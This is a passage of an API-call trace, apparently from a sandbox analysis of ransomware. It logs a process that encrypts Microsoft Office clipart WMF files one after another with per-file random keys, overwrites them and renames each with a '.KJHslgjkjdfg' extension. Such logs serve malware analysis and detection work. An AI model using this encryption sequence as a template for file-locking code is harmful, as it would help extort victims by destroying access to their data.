lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.119] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.119] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.119] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe86, lpOverlapped=0x0) returned 1 [0160.119] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90, dwBufLen=0xe90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90) returned 1 [0160.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe90, lpOverlapped=0x0) returned 1 [0160.119] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.120] SetEndOfFile (hFile=0x114) returned 1 [0160.122] GetProcessHeap () returned 0x2a0000 [0160.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.122] GetProcessHeap () returned 0x2a0000 [0160.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.kjhslgjkjdfg")) returned 1 [0160.123] CloseHandle (hObject=0x114) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0160.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.124] GetProcessHeap () returned 0x2a0000 [0160.124] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.124] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.124] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.126] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.126] GetProcessHeap () returned 0x2a0000 [0160.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.126] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.126] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.126] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.126] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.126] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.127] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.127] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5bc, lpOverlapped=0x0) returned 1 [0160.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.127] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0160.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.127] SetEndOfFile (hFile=0x114) returned 1 [0160.129] GetProcessHeap () returned 0x2a0000 [0160.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.129] GetProcessHeap () returned 0x2a0000 [0160.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.kjhslgjkjdfg")) returned 1 [0160.131] CloseHandle (hObject=0x114) returned 1 [0160.131] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0160.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.131] GetProcessHeap () returned 0x2a0000 [0160.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.131] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.133] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.133] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.134] GetProcessHeap () returned 0x2a0000 [0160.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.134] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.134] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x578, lpOverlapped=0x0) returned 1 [0160.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580, dwBufLen=0x580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580) returned 1 [0160.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.134] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x580, lpOverlapped=0x0) returned 1 [0160.135] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.135] SetEndOfFile (hFile=0x114) returned 1 [0160.137] GetProcessHeap () returned 0x2a0000 [0160.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.137] GetProcessHeap () returned 0x2a0000 [0160.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.kjhslgjkjdfg")) returned 1 [0160.138] CloseHandle (hObject=0x114) returned 1 [0160.138] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0160.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.139] GetProcessHeap () returned 0x2a0000 [0160.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.139] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.142] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.142] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.142] GetProcessHeap () returned 0x2a0000 [0160.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.142] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.142] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.143] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.143] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.143] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3158, lpOverlapped=0x0) returned 1 [0160.144] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3160, dwBufLen=0x3160 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3160) returned 1 [0160.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.144] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3160, lpOverlapped=0x0) returned 1 [0160.144] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.144] SetEndOfFile (hFile=0x114) returned 1 [0160.146] GetProcessHeap () returned 0x2a0000 [0160.146] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.147] GetProcessHeap () returned 0x2a0000 [0160.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.kjhslgjkjdfg")) returned 1 [0160.148] CloseHandle (hObject=0x114) returned 1 [0160.148] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0160.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.148] GetProcessHeap () returned 0x2a0000 [0160.148] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.148] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.148] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.150] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.151] GetProcessHeap () returned 0x2a0000 [0160.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.151] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.151] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2994, 